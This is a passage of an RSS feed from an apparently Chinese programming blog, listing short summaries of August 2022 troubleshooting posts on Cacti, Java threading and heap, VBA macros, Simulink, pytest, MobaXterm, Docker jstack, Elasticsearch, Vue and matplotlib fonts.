      <description>在工作中出现了cacti 断图的情况，开始以为是设备返回数据的问题，安装snmpwalk进行了测试&#xA;1 填写脚本进行接口数据读取&#xA;#/bin/bash ############################################### #这是一个测试cacti数据读取的脚本 #基于cacti的原理15s读取一次接口的数据，获取两者之间的差值 #by px 2022-08-16 ################################################ while true comm=$1 #echo $comm do num1=`$comm | awk -F &#34;:&#34; &#39;{print $4}&#39; | awk -F &#34; &#34; &#39;{print $1}&#39;` sleep 15 num2=`$comm | awk -F &#34;:&#34; &#39;{print $4}&#39; | awk -F &#34; &#34; &#39;{print $1}&#39;` end=`expr $num2 - $num1` echo `expr $end \* 8 / 1000000 / 15` &#34;Mbps&#34; # / 8 byte to bit /15 time 15 s avg done 脚本使用案例 [root@cactifans ~]# .</description>
    </item>
    <item>
      <title>路径xxx 超过 OS 最大路径限制。完全限定的文件名必须少于 260 个字符</title>
      <link>https://bchobby.github.io/posts/beb9f7b1244f25775236ef15f111ba40/</link>
      <pubDate>Tue, 16 Aug 2022 13:34:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/beb9f7b1244f25775236ef15f111ba40/</guid>
      <description> 错误 MSB3491 未能向文件“obj\Debug\net5.0\xxx”写入命令行。路径: obj\Debug\net5.0\xxx 超过 OS 最大路径限制。完全限定的文件名必须少于 260 个字符。 xxx C:\Program Files (x86)\Microsoft Visual Studio\2019\Professional\MSBuild\Current\Bin\Roslyn\Microsoft.Managed.Core.targets 150&#xA;此问题是由于 Windows 操作系统对处理长度大于 260 的长路径的限制引起的。VS2019 的此问题的解决方案非常简单。&#xA;VS 2019此问题解决方案：&#xA;打开 run 窗口（windows-key + r），然后输入 regedit 并按 Enter。在注册表编辑器的地址栏中，输入：HKLM\SYSTEM\CurrentControlSet\Control\FileSystem在右侧，找到键 LongPathsEnabled，双击它，将值从 0 更改为 1重新启动 VS2019，清理（如果需要）并再次构建您的项目。应该修复错误。 </description>
    </item>
    <item>
      <title>join()、park()、yield()会不会释放当前线程持有的锁？</title>
      <link>https://bchobby.github.io/posts/f02c37528458269714f798d1ee8f5730/</link>
      <pubDate>Tue, 16 Aug 2022 12:45:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f02c37528458269714f798d1ee8f5730/</guid>
      <description>https://www.cnblogs.com/kitor/p/14724244.html&#xA;stop()、suspend()、Thread.sleep()都不会释放线程所持有的锁。但join()、park()、yield()会不会释放当前线程持有的锁？下面通过一些实例来验证一下&#xA;代码如下&#xA;import java.util.Date; import java.util.concurrent.TimeUnit; import java.util.concurrent.locks.LockSupport; public class ThreadLockTest { public static void main(String[] args) throws InterruptedException { // yieldTest(10); // parkTest(); // joinTest(); } /** * 测试yield会不会释放锁：yield调用的是本地方法，建议seconds设置大一些结果更明显 * 结论：yield不会释放线程持有的锁 * * @param seconds */ private static void yieldTest(int seconds) { String lock = &#34;lock&#34;; //首先执行并获得锁 Thread preThread = new Thread() { @Override public void run() { synchronized (lock) { log(&#34;=============获取了锁==============&#34;); long start = System.currentTimeMillis(); while (true) { //将让出当前线程的执行权，线程状态由RUNNING ----&amp;gt; RUNNABLE log(&#34;</description>
    </item>
    <item>
      <title>PDF转Excel（PS：学习使用VBA处理Excel）</title>
      <link>https://bchobby.github.io/posts/a6af4ac3093eed49ae0f0e2573a2ca7f/</link>
      <pubDate>Tue, 16 Aug 2022 11:29:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a6af4ac3093eed49ae0f0e2573a2ca7f/</guid>
      <description>昨天接到一个任务要将pdf中的表格转成excel，打开一看pdf有一百多页，看来手打是不可能了，只能想办法处理。&#xA;由于我拿到的PDF是这样的，第一步先把PDF转成word形式，我这里使用的是Adobe Acrobat，也可以使用wps等软件，转换完后效果如下：&#xA;发现还有个小问题，就是每页都有个大水印，这个水印由于是从pdf中转换来的，不是word里添加的，所以在word中关闭水印并不能处理这个问题。&#xA;双击水印发现其实是艺术字，学习网上方法采用VBA编写宏批量删除艺术字，代码如下：&#xA;Sub 删除艺术字() Dim sh As Shape For Each sh In ActiveDocument.Shapes If sh.Type = msoTextEffect Then sh.Delete End If Next End Sub 具体使用方法是点击视图-宏，然后在弹出的窗口中点创建，点完就会弹出VBA的编辑器，将代码粘进去即可，使用宏的时候在刚才点创建的窗口点执行即可。&#xA;艺术字就顺利删除了（ps：可能会有个别骨骼惊奇的艺术字没被删掉，多执行几遍还没被删掉的智只能手动删除）&#xA;下一步是将word中的表格转换成Excel，我们先将word保存成mht格式，点击文件-另存为，在弹出的窗口保存类型选择单一文件网页。&#xA;之后在保存的位置就有这个文件了，下一步打开Excel，点击文件-打开，打开刚才我们保存的mht文件，将表格选中复制，粘贴到新的Excel文件中，效果如下：&#xA;发现效果非常不好啊，一个格子里面由很多小格，格子里的一段话还分布在不同小格里，直接合并单元格会只保留最左上单元格的内容，同一个格子里的一段话势必会缺失很多，如果人工操作不知道要搞到猴年马月。&#xA;因此我把目光转向了宏，之前从没用过宏，经过网上学习，写出了第一个宏，可以将选中区域合并单元格的同时内容全部保留拼接起来&#xA;Sub 合并() Application.DisplayAlerts = False &#39;关闭提醒 SelectionSum = &#34;&#34; For Each cell In Selection &#39;遍历选取区域的单元格 SelectionSum = SelectionSum &amp;amp; cell.Value &#39;将单元格内容拼接起来 Next cell Selection(1, 1).Value = SelectionSum &#39;将拼接后内容赋值给单元格 Selection.Merge &#39;合并 Application.DisplayAlerts = True &#39;开启提醒 End Sub 在Excel中使用宏比Word复杂些，第一次使用首先要点击文件-选项-自定义功能区，然后在右边勾选开发工具</description>
    </item>
    <item>
      <title>Java 堆空间(Heap Space)</title>
      <link>https://bchobby.github.io/posts/2986105a8d4355ce18c5fd89a87885e9/</link>
      <pubDate>Tue, 16 Aug 2022 10:26:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2986105a8d4355ce18c5fd89a87885e9/</guid>
      <description>Java 堆空间(Heap Space) 概述 在Java程序中，堆是JVM内存空间中最大的一块，同时我们知道，每个线程都拥有一个虚拟机栈，但是堆不同，Java堆是被所有线程共享的一块内存区域，在虚拟机启动时创建。&#xA;在《Java虚拟机规范》中对Java堆的描述是：“所有 的对象实例以及数组都应当在堆上分配“，但是实际情况是几乎所有的对象都是分配在堆空间的，也有少部分情况比较特殊。这是因为由于即时编译技术的进步，尤其是逃逸分析技术的日渐强大，栈上分配、标量替换优化手段已经导致一些微妙的变化悄然发生，所以说Java对象实例都分配在堆上也渐渐变得不是那么绝对了。&#xA;《Java虚拟机规范》里对Java堆进行了更进一步的细致划分：“Java虚拟机的堆内存分为新生代、老年代、永久代、Eden、Survivor……”，并且会根据区域的不同设计不同的垃圾回收期(GC)。&#xA;总结一下要点：&#xA;一个JVM实例只存在一个堆内存，堆也是Java内存管理的核心区域。&#xA;Java堆区在JVM启动的时候即被创建，其空间大小也就确定了，堆是JVM管理的最大一块内存空间，并且堆内存的大小是可以调节的。&#xA;《Java虚拟机规范》规定，堆可以处于物理上不连续的内存空间中，但在逻辑上它应该被视为连续的。&#xA;所有的线程共享Java堆，在这里还可以划分线程私有的缓冲区（Thread Local Allocation Buffer，简称 TLAB）。&#xA;《Java虚拟机规范》中对Java堆的描述是：所有的对象实例以及数组都应当在运行时分配在堆上。&#xA;从实际使用角度看：“几乎”所有的对象实例都在堆分配内存，但并非全部。因为还有一些对象是在栈上分配的（逃逸分析，标量替换） 数组和对象可能永远不会存储在栈上，因为栈帧中保存引用，这个引用指向对象或者数组在堆中的位置。&#xA;在方法结束后，堆中的对象不会马上被移除，仅仅在垃圾收集的时候才会被移除。&#xA;也就是触发了GC的时候，才会进行回收&#xA;如果堆中对象马上被回收，那么用户线程就会收到影响，因为有stop the word&#xA;堆，是GC（Garbage Collection，垃圾收集器）执行垃圾回收的重点区域。&#xA;Java堆空间结构 存储在JVM中的Java对象可以被划分为两类：&#xA;一类对象的生命周期较短，这种对象的创建和消亡都十分迅速另一类对象的生命周期很长，在某些极端情况下甚至可以和JVM的生命周期保持一致 Java堆区进一步细分的话，可以划分为年轻代（YoungGen）和老年代（oldGen）&#xA;其中年轻代又可以划分为Eden空间、Survivor0空间和Survivor1空间（有时也叫做from区、to区）&#xA;在默认的情况下(可以根据实际情况修改设置)，新生区占堆空间的三分之一，老年代占堆空间的三分之二。在HotSpot中，Eden区空间和其他两个Survivor区空间的默认比例是 8 : 1 : 1。同时开发人员可以通果设置选项-XX:SurvivorRatio调整这个空间的比例。大部分对象都是在Eden区中被创建出来的。绝大多数的Java对象都在新生代中销毁(朝生暮死) 对象分配过程 对象分配是一个严谨且复杂的过程， 设计者需要考虑内存的分配，以为实际的分配与垃圾回收算法密切相关。&#xA;流程说明：&#xA;创建出的新对象正常先放到Eden区，但是要判断Eden空间是否足够。 如果足够，就放入Eden区。如果Eden区空间不足，会对Eden区进行垃圾回收(Minor GC)，将伊甸区中不被引用的对象进行销毁操作，将新创建的对象放入Eden区。同时将Eden区存活的对象移动到Servivor0区 如果之后触发垃圾回收机制，在Servivor0区中存活的对象会放到Servivor1区中，在经历垃圾回收机制Servivor1区存活的对象就在移动到Servivor0区，同时对象有一个&#34;年龄&#34;就是经历垃圾回收的次数，当经历过15次GC时，就会将这个对象移动到Old区。对于S0和S1区来讲：复制有交换，谁空谁是to如果Eden区内经历过GC后存活下来的对象转移到Servivor区，但是Servivor存放不下，就将这个对象移动到Old区在Old区，GC的次数相对少一些，当Old区不足时进行Major GC。如果进行了Major GC后仍然无法将对象进行储存，就会报OOM 流程图：&#xA;关于GC的说明(Minor GC、Major GC、Full GC) JVM的调优的一个环节，也就是垃圾收集GC，我们需要尽量的避免垃圾回收，因为在垃圾回收的过程中，容易出现STW（Stop the World）的问题，而 Major GC 和 Full GC出现STW的时间，是Minor GC的10倍以上。JVM在进行GC时，并非每次都对上面三个内存区域一起回收的，大部分时候回收的都是指新生代。针对Hotspot VM的实现，它里面的GC按照回收区域又分为两大种类型：一种是部分收集（Partial GC），一种是整堆收集（FullGC） 部分收集：不是完整收集整个Java堆的垃圾收集。其中又分为： 新生代收集（Minor GC/Young GC）：只是新生代（Eden，s0，s1）的垃圾收集老年代收集（Major GC/Old GC）：只是老年代的圾收集。目前，只有CMS GC会有单独收集老年代的行为。注意，很多时候Major GC会和Full GC混淆使用，需要具体分辨是老年代回收还是整堆回收。混合收集（Mixed GC）：收集整个新生代以及部分老年代的垃圾收集。目前，只有G1 GC会有这种行为 整堆收集（Full GC）：收集整个java堆和方法区的垃圾收集。 MinorGC 当年轻代空间不足时，就会触发Minor GC，这里的年轻代满指的是Eden代满。Survivor满不会主动引发GC，在Eden区满的时候，会顺带触发s0区的GC，也就是被动触发GC（每次Minor GC会清理年轻代的内存）因为Java对象大多都具备朝生夕灭的特性，所以Minor GC非常频繁，一般回收速度也比较快。这一定义既清晰又易于理解。Minor GC会引发STW（Stop The World），暂停其它用户的线程，等垃圾回收结束，用户线程才恢复运行 Major/Full GC 指发生在老年代的GC，对象从老年代消失时，我们说 “Major Gc” 或 “Full GC” 发生了出现了MajorGC，经常会伴随至少一次的Minor GC。（但非绝对的，在Parallel Scavenge收集器的收集策略里就有直接进行MajorGC的策略选择过程） 也就是在老年代空间不足时，会先尝试触发Minor GC，如果之后空间还不足，则触发Major GC Major GC的速度一般会比Minor GC慢10倍以上，STW的时间更长。如果Major GC后，内存还不足，就会报OOM Major GC通常是跟full GC是等价的，收集整个GC堆。但因为HotSpot VM发展了这么多年，外界对各种名词的解读已经完全混乱了，当有人说“major GC”的时候一定要问清楚他想要指的是上面的full GC还是old GC。</description>
    </item>
    <item>
      <title>Matlab simulink 代数环问题</title>
      <link>https://bchobby.github.io/posts/d50d9179918ae230e2af08d50178e954/</link>
      <pubDate>Mon, 15 Aug 2022 21:08:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d50d9179918ae230e2af08d50178e954/</guid>
      <description>问题描述 最近在仿真中遇到报错，提示存在代数环&#xA;无法求解涉及 &#39;Unknown_Extrinsic_Parameters/Subsystem2/vel_controller/v,w&#39; 的代数环，因为它包含不能向其分配代数变量的模块，例如具有离散值输出的模块、具有非双精度或复数输出的模块、Stateflow 模块或非虚拟子系统。请考虑打破代数环。例如，向代数环中添加一个 Delay 或 Memory 模块。要查看有关代数环的更多详细信息，请使用命令 Simulink.BlockDiagram.getAlgebraicLoops(bdroot) 原因分析： 代数环的概念：代数环概念 - MATLAB &amp;amp; Simulink - MathWorks 中国&#xA;简而言之：当模块计算输出时，需要用到输入，而输入却是自身的输出（尚未计算）。此时，Simulink 会通过迭代计算模块的输出，并获得正确的结果。&#xA;例如：&#xA;t=0.时计算y（0）需要y（0）和u（0），但是很显然y（0）此时没有值，因此程序自然会报错。&#xA;解决方案： 经过广泛查阅得知有以下几种解决方案：&#xA;参考：代数环（algebraic loop）是什么？在 Simulink 中如何解决？ – MATLAB中文论坛 (ilovematlab.cn)&#xA;如何解决simulink中的代数环问题 – MATLAB中文论坛 (ilovematlab.cn)&#xA;1，修改、重新建模模型，通过数学变换，使得避免出现代数环。（未尝试，仿真模型过于复杂难以修改）&#xA;2，增加延时环节，simulink中有delay与memory两个模块可以实现此功能。但是有人建议不要用memory打破代数环（）&#xA;Why you should never break a continuous algebraic loop with a Memory block » Guy on Simulink - MATLAB &amp;amp; Simulink (mathworks.com)&#xA;3，给定变量初始值。如上述例子所说，只要有了y（0）的初始值，那么程序正常计算，打破代数环。使用IC模块，或者有积分环节时指定积分起始值也可以。&#xA;IC：设置信号的初始值 - Simulink - MathWorks 中国</description>
    </item>
    <item>
      <title>容器中运行pytest报错：ImportError: cannot import name ‘resultlog_key‘ from ‘_pytest.resultlog‘</title>
      <link>https://bchobby.github.io/posts/cec31099956d1e1802f8ad778a9ab32f/</link>
      <pubDate>Mon, 15 Aug 2022 20:10:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cec31099956d1e1802f8ad778a9ab32f/</guid>
      <description>pytest在容器里运行时候一直报错_pytest.resultlog&#xA;网上几乎所有文章都说是pytest-rerunfailures和pytest版本的问题（其实是ModuleNotFoundError: No module named ‘_pytest.resultlog’ ），但是显然和本文的报错不是同一个，如下&#xA;我重装了很多个版本的pytest和pytest-rerunfailures都不行&#xA;但是考证了一下，6.1.0版本中确实删除了_pytest.resultlog&#xA;https://githubmemory.com/repo/pytest-dev/pytest-rerunfailures/issues/128&#xA;大概率问题原因也相似&#xA;于是尝试手动卸载pytest，发现卸载后site-packages/_pytest/resultlog.py仍然存在&#xA;尝试删除这个文件后，原因找到了：&#xA;所用的镜像中原本是低版本的pytest，这一版中有_pytest/resultlog.py这个文件，然而升级pytest后这个本应该被删除的文件不知道什么原因被保留了下来，而pytest-rerunfailures则误认为找到了_pytest/resultlog.py这个文件，调用过程中报错cannot import name ‘resultlog_key’&#xA;解决方法&#xA;镜像生成时，卸载一次pytest即可，这样原本的镜像里就不存在低版本的pytest了，也就没有_pytest/resultlog.py这个文件，然后直接装高版本的pytest即可</description>
    </item>
    <item>
      <title>MobaXterm安装使用设置快捷键</title>
      <link>https://bchobby.github.io/posts/b99c5d4502458bcd05aa5c1c2f83a9ca/</link>
      <pubDate>Mon, 15 Aug 2022 19:24:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b99c5d4502458bcd05aa5c1c2f83a9ca/</guid>
      <description>MobaXterm MobaXterm简介 MobaXterm是进行远程计算的终极工具箱。在单个Windows应用程序中，它提供了为程序员，网站管理员，IT管理员以及几乎所有需要以更简单的方式处理远程作业的所有用户量身定制的功能。&#xA;MobaXterm为Windows桌面提供了所有重要的远程网络工具（SSH，X11，RDP，VNC，FTP，MOSH等）和Unix命令（bash，ls，cat，sed，grep，awk，rsync等）。可直接使用。&#xA;MobaXterm是程计算的终极工具箱。里面集合了SSH等远程网络工具和Unix命令。&#xA;官网: https://mobaxterm.mobatek.net/&#xA;MobaXterm的下载 (1)输入官网网址访问&#xA;(2)点击get MobaXterm下载&#xA;(3)选择免费版下载&#xA;(4)安装完运行MobaXterm&#xA;二. MobaXterm的使用 1.使用ssh安全连接主机 界面连接 (1)定义要连接主机的账户和密码&#xA;(3)连接成功&#xA;命令连接 通过ssh命令，远程访问Linux系统：输入命令ssh hank@192.168.241.130&#xA;2.上传和下载文件 点击 (1)上传文件&#xA;(2)下载文件&#xA;//这个nginx包就下载到桌面了&#xA;拖拽 scp命令 从Windows上传文件到Linux虚拟机:&#xA;scp drives/g/1.txt 用户名hank@192.168.241.130:/home/hank/ 释义：拷贝当前windows的G盘下的1.txt文件，到远程linux系统hank的家目录中 从Linux虚拟机下载文件到windows:&#xA;scp hank@192.168.241.130:/home/hank/1.txt drives/g/ 释义：反过来，拷贝远程linux系统hank的家目录中1.txt文件，到当前windows的G盘下&#x9;3.其他功能 ssh：SSH是一种网络协议，广泛用于计算机之间的加密登录。&#xA;RDP：远程桌面协议 (RDP) ，用于终端服务器和终端服务器客户端之间的通信，可参考Windows上自带的远程桌面服务。&#xA;VNC：VNC(Virtual Network Computing)是虚拟网络计算机的缩写。VNC是一款优秀的远程控制工具软件，由著名的AT&amp;amp;T 的欧洲研究实验室开发的。&#xA;FTP：文件传输协议（File Transfer Protocol，FTP）是用于在网络上进行文件传输的一套标准协议。&#xA;SFTP：sftp（Secure File Transfer Protocol）是一种安全的文件传送协议，是ssh内含协议，也就是说只要sshd服务器启动了，sftp就可使用，不需要额外安装，它的默认端口和SSH一样为22。&#xA;Serial：Serial串行接口通信，在单片机中很常用。File：打开保存在本地的终端链接文件。Shell：配置shell终端。&#xA;Browser：内嵌浏览器。&#xA;Mosh：Mosh表示移动Shell(Mobile Shell)，是一个用于从客户端跨互联网连接远程服务器的命令行工具。mosh连接中断不会导致当前正在执行的命令中断，这是ssh做不到的。&#xA;WSL：WSL适用于 Linux 的 Windows 子系统可让开发人员直接在 Windows 上按原样运行GNU/Linux 环境（包括大多数命令行工具、实用工具和应用程序），且不会产生传统虚拟机或双启动设置开销。&#xA;4. MobaXterm的常用设置及快捷键 快捷键 Ctrl+Shift+N&#x9;创建一个新的远程会话 F11&#x9;当前窗口进入全屏，再按F11退出全屏 Ctrl+Tab键：向右切换标签 Ctrl+Shift+Tab键：向左切换标签 设置字体大小 调整MobaXterm字体大小和字符集设置 保持SSH连接 MobaXterm 使用 ssh 直接连接远程主机，或者通过跳板机登陆远程服务器可能会出现一段时候不操作就会自动关闭连接。要解决这个过一会就断开连接的问题，我们需要在勾选 Setting 下的 SSH Keepalive 选项。</description>
    </item>
    <item>
      <title>docker容器Jar包jmap jstack使用</title>
      <link>https://bchobby.github.io/posts/361bf875f8ecb275da19f83e619340c9/</link>
      <pubDate>Mon, 15 Aug 2022 17:00:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/361bf875f8ecb275da19f83e619340c9/</guid>
      <description>进入Jar包容器内 docker exec -it xxx /bin/bash 或&#xA;docker exec -it xxx /bin/sh 获取线程ID&#xA;jps 1 jar&#xA;573 Jps&#xA;jstack 1 1: Unable to get pid of LinuxThreads manager thread 原因：Docker 自1.10版本开始加入的安全特性。类似于 jmap 这些 JDK 工具依赖于 Linux 的 PTRACE_ATTACH,而是Docker自1.10在默认的seccomp配置文件中禁用了ptrace&#xA;解决方案&#xA;如果使用docker-compose启动容器,如下加入 cap_add即可&#xA;test: image: test.jar ports: - 8081:8081 cap_add: - SYS_PTRACE init: true 或&#xA;在启动命令行添加&#xA;docker run --init --cap-add=SYS_PTRACE ... 方案2、镜像安装tini，由它管理进程 Dockerfile中使用如下方式&#xA;RUN apk --update --no-cache add tini #利用ENTRYPOINT一定会执行的特点，将它作为PID=1托管进程 ENTRYPOINT [&#34;</description>
    </item>
    <item>
      <title>EasyExcel单字段自定义转换@ExcelProperty::converter无效</title>
      <link>https://bchobby.github.io/posts/d153ff03aa184098b8001da2a6a68f2e/</link>
      <pubDate>Mon, 15 Aug 2022 15:41:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d153ff03aa184098b8001da2a6a68f2e/</guid>
      <description>EasyExcel单字段自定义转换@ExcelProperty::converter无效 前提实体转换器调用 注意事项实体构造器声明实体属性命名规范源码分析 实现Converter接口实现Converter方法…… 本文仅总结了本人所经历、发现的注意事项，如果无法解决可留言，再进行补充 本文是基于EasyExcel v3.1.0分析的 前提 实体 实体按照官方文档（日期数字或者自定义格式转换）声明注解&#xA;转换器 实现Converter接口（一定要是com.alibaba.excel.converters.Converter因为别的框架也有Converter），实现“读Excel”convertToJavaData方法，“写Excel”convertToExcelData方法&#xA;public class CustomStringStringConverter implements Converter&amp;lt;String&amp;gt; { @Override public Class&amp;lt;?&amp;gt; supportJavaTypeKey() { return String.class; } @Override public CellDataTypeEnum supportExcelTypeKey() { return CellDataTypeEnum.STRING; } /** * 这里读的时候会调用 * * @param context * @return */ @Override public String convertToJavaData(ReadConverterContext&amp;lt;?&amp;gt; context) { return &#34;自定义：&#34; + context.getReadCellData().getStringValue(); } /** * 这里是写的时候会调用 不用管 * * @return */ @Override public WriteCellData&amp;lt;?&amp;gt; convertToExcelData(WriteConverterContext&amp;lt;String&amp;gt; context) { return new WriteCellData&amp;lt;&amp;gt;(context.</description>
    </item>
    <item>
      <title>Observability：如何使用 Elastic Agents 把定制的日志摄入到 Elasticsearch 中</title>
      <link>https://bchobby.github.io/posts/0de0f24751c216921bedab62cfb4eed9/</link>
      <pubDate>Mon, 15 Aug 2022 11:42:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0de0f24751c216921bedab62cfb4eed9/</guid>
      <description>在我之前的文章 “Observability：使用 Elastic Agent 来摄入日志及指标 - Elastic Stack 8.0”，我详细地描述了如何安装 Elasticsearch，Stack 及 Elastic Agents 来采集系统日志及指标。很多开发者可能会有疑问，在我们的实际使用中，我们更多的可能是需要采集定制的应用日志，而不是系统日志。那么在这个时候，我们该如何使用 Elastic Agents 来把这些日志摄入呢？在以前的系统中，我们可以使用如下的几种方式来采集日志：&#xA;我们可以直接使用 Beats 把数据传入到 Elasticsearch 中。对数据的处理，我们可以使用 Beats 的 processors 来处理数据，或者通过 Elasticsearch 集群的 ingest nodes 来处理数据。我们可以通过 Beats =&amp;gt; Logstash =&amp;gt; Elasticsearch。针对这种情况，我们可以分别在 Beats，Logstash 或者 Elasticsearch 集群的 ingest nodes 来处理数据。我们可以直接使用各种编程语言来直接向 Elasticsearch 集群进行写入。我们可以使用 Elasticsearch 集群的 ingest nodes 来处理数据。 在今天的文章里，我们来详细地描述如何使用 Elastic Agents 把应用中的定制日志摄入到 Elasticsearch 中并进行分析。在今天的演示中，我将使用如下测试环境：&#xA;我将使用 Elastic Stack 8.3 来进行安装并展示。&#xA;如何使用 Elastic Agents 把定制的日志摄入到 Elasticsearch 中&#xA;准备日志 为了方便，我们使用我之前的一个教程写的文章里的例子来生成日志。我使用 Python 应用来生成日志。请参考文章 “Beats: 使用 Filebeat 进行日志结构化 - Python”。我们按照如下的步骤在 Ubuntu OS 的机器上来运行应用：</description>
    </item>
    <item>
      <title>【MXNet报错】OSError: libnccl.so.2: cannot open shared object file: No such file or directory</title>
      <link>https://bchobby.github.io/posts/d024445b7a8936620bd268b6d1faf20e/</link>
      <pubDate>Mon, 15 Aug 2022 10:48:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d024445b7a8936620bd268b6d1faf20e/</guid>
      <description>解决方案 1.https://developer.nvidia.com/nccl/nccl-legacy-downloads&#xA;找到cuda 对应的NCCL版本，需要账号登录，我的是cuda11.2 +ubuntu20.04&#xA;&amp;lt;Download NCCL 2.8.3, for CUDA 11.2, January 06,2021&amp;gt;&#xA;&amp;lt;Local installer for Ubuntu 20.04&amp;gt; 下载.deb&#xA;sudo dpkg -i nccl-repo-对应版本.deb sudo apt update sudo apt install libnccl2=2.8.3-1+cuda11.2 libnccl-dev=2.8.3-1+cuda11.2（换成自己的版本） 参考链接 https://blog.csdn.net/weixin_45653647/article/details/116306628&#xA;https://blog.csdn.net/fyfugoyfa/article/details/124203296</description>
    </item>
    <item>
      <title>解决this.$refs调用方法为undefined</title>
      <link>https://bchobby.github.io/posts/2877f58d04abbbd13ff456d488994dcf/</link>
      <pubDate>Mon, 15 Aug 2022 10:11:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2877f58d04abbbd13ff456d488994dcf/</guid>
      <description> 在开发中，经常会使用到this.$refs ，用来操作真实的DOM节点，实现父子组件的通信。&#xA;在近期的开发中，遇到了需要根据父组件中的点击事件调用子组件中的方法修改页面数据，在父组件初始化时要调用一次子组件的方法渲染页面，但给子组件绑定好ref属性后，使用this.$refs.XX调用子组件中的方法，显示该方法为undefined。&#xA;&amp;lt;PollutionMap ref=&#34;pollutionMap&#34; v-if=&#34;level&#34; :pointArea=&#34;problemData&#34; @initData=&#34;initMapData&#34; :problemData=&#34;problemData&#34; @toLevel=&#34;toLevelFn&#34; &amp;gt;&amp;lt;/PollutionMap&amp;gt; this.problemDetailsData = res res.map(item =&amp;gt; { this.$refs.pollutionMap.detailAddmarker(item, flag) }) 原因：&#xA;vue 官方中对ref的使用中写道：关于 ref 注册时间的重要说明：因为 ref 本身是作为渲染结果被创建的，在初始渲染的时候你不能访问它们 - 它们还不存在！$refs 也不是响应式的，因此你不应该试图用它在模板中做数据绑定。&#xA;也就是说也就是说如果在DOM结构中的某个DOM节点使用了v-if、v-shou、v-for（即根据获取到的后台数据来动态操作 DOM，即响应式）、 那么这些DOM事不会在mounted阶段中找到的，ref 只有等页面加载完成好之后才能调用 this.$refs获取子组件中的数据或者方法 。&#xA;解决方法：&#xA;1、使用this.$refs如果要在mouend()中使用，必须要在this.$nextTick(()=&amp;gt;{ } ) 这里面实现，$nextTick 是在下次 DOM 更新循环结束之后执行延迟回调，在修改数据之后使用 $nextTick，则可以在回调中获取更新后的 DOM。&#xA;2、可以直接在updata()的生命周期函数中使用，由于mounted阶段是加载阶段，而updata阶段则是完成了数据更新到 DOM 的阶段(对加载回来的数据进行处理)。&#xA;3、在methods:{ } 方法中使用，也需要使用this.$nextTick(()=&amp;gt;{ } ) 等到页面完全渲染完毕之后在调用即可。&#xA;this.$nextTick(() =&amp;gt; { this.problemDetailsData = res res.map(item =&amp;gt; { this.$refs.pollutionMap.detailAddmarker(item, flag) }) }) </description>
    </item>
    <item>
      <title>CorelDRAW2022标准专业订阅版下载及功能介绍</title>
      <link>https://bchobby.github.io/posts/b6884db3b3e757b55a9b0334765b6212/</link>
      <pubDate>Sun, 14 Aug 2022 23:23:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b6884db3b3e757b55a9b0334765b6212/</guid>
      <description>CorelDRAW® Graphics Suite2022订阅版涵盖了全部CorelDRAW图形处理组件，能够高效地完成矢量插图、布局、照片编辑和排版等项目，无论是个人用户还是大型企业，订阅版可以满足几乎所有设计从业者的工作需要，并且将免费获得在订阅周期内的所有更新。&#xA;CorelDRAW2022功能介绍&#xA;设计&#xA;使用 CorelDRAW.app™ 随时随地在 Windows 或 Mac 上制作独特的插图、广告牌、徽标等。&#xA;协作&#xA;通过 CorelDRAW.app 与客户和同事进行协作，实时沟通，快速交付作品。&#xA;高效&#xA;支持导出包括PSD/AI/PDF/DOCX/PPT等在内的60+格式，更强的兼容性形成更高效的工作流！&#xA;CorelDRAW2022所需软件工具介绍&#xA;CorelDRAW® 矢量插图和页面布局&#xA;作为CorelDRAW® Graphics Suite的主程序，高效完成图形编辑，排版布局，打印导出等主要设计工作。&#xA;CAPTURE™ 截屏&#xA;轻松一键即可捕获并保存计算机屏幕的图像，包括整个屏幕、单个窗口或菜单列表。&#xA;Corel PHOTO-PAINT™ 图像编辑和基于像素的设计&#xA;基于 AI技术的 Corel PHOTO-PAINT 具备高速处理图像能力，并享受 CorelDRAW 集成工作流带来的效率倍增！&#xA;Corel® Font Manager 字体开发和管理&#xA;使用简单而直观的 Corel Font Manager 组织并管理您的字体库，无需安装即可直接使用自己喜欢的字体。&#xA;CorelDRAW.app™ 基于浏览器的矢量插图和图形设计&#xA;在网络或 iPad 上使用 CorelDRAW.app 进行方便的协作文件审查或在旅途中进行设计。&#xA;AfterShot™ HDR RAW 照片编辑器&#xA;为 RAW 或 JPEG 照片进行专业级矫正和强化，使用 AfterShot HDR 创建高动态范围 (HDR) 图像。提供英语、德语和日语版&#xA;为什么选择CorelDRAW Graphics Suite 订阅版?</description>
    </item>
    <item>
      <title>【python报错解决】findfont: Font family [‘Arial‘] not found. Falling back to DejaVu Sans.</title>
      <link>https://bchobby.github.io/posts/c55a2e29b7532865ab5c005a9f9bafab/</link>
      <pubDate>Sun, 14 Aug 2022 22:46:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c55a2e29b7532865ab5c005a9f9bafab/</guid>
      <description>matplotlib字体报错解决 字体上传删除缓冲，重启终端 在使用matplotlib进行绘图时，ubuntu系统报错找不到字体，具体报错信息如下：&#xA;findfont: Font family [‘Arial’] not found. Falling back to DejaVu Sans.&#xA;【解决方法】&#xA;从windows系统中找到相应的字体文件，然后复制上传到ubuntu系统中&#xA;字体上传 在windows电脑系统中找到Arial字体文件，路径：C:\Windows\Fonts&#xA;接着复制Arial字体文件至桌面，一共有九个文件&#xA;找到ubuntu运行环境下的matplotlib字体文件所在位置&#xA;比如，我运行matplotlib是在py38环境，那么字体文件所在路径为：&#xA;anaconda3/envs/py38/lib/python3.8/site-packages/matplotlib/mpl-data/fonts/ttf&#xA;将Arial字体文件复制到该目录下&#xA;删除缓冲，重启终端 复制完Arial字体文件后，删除该运行环境下matplotlib缓冲文件，具体操作为：rm -rf ~/.cache/matplotlib&#xA;使用命令关闭终端：Ctrl + D&#xA;重新进入终端，即可完成字体配置。</description>
    </item>
    <item>
      <title>后台服务器启动命令</title>
      <link>https://bchobby.github.io/posts/b54cde13362d74e0ee4f53ab88867733/</link>
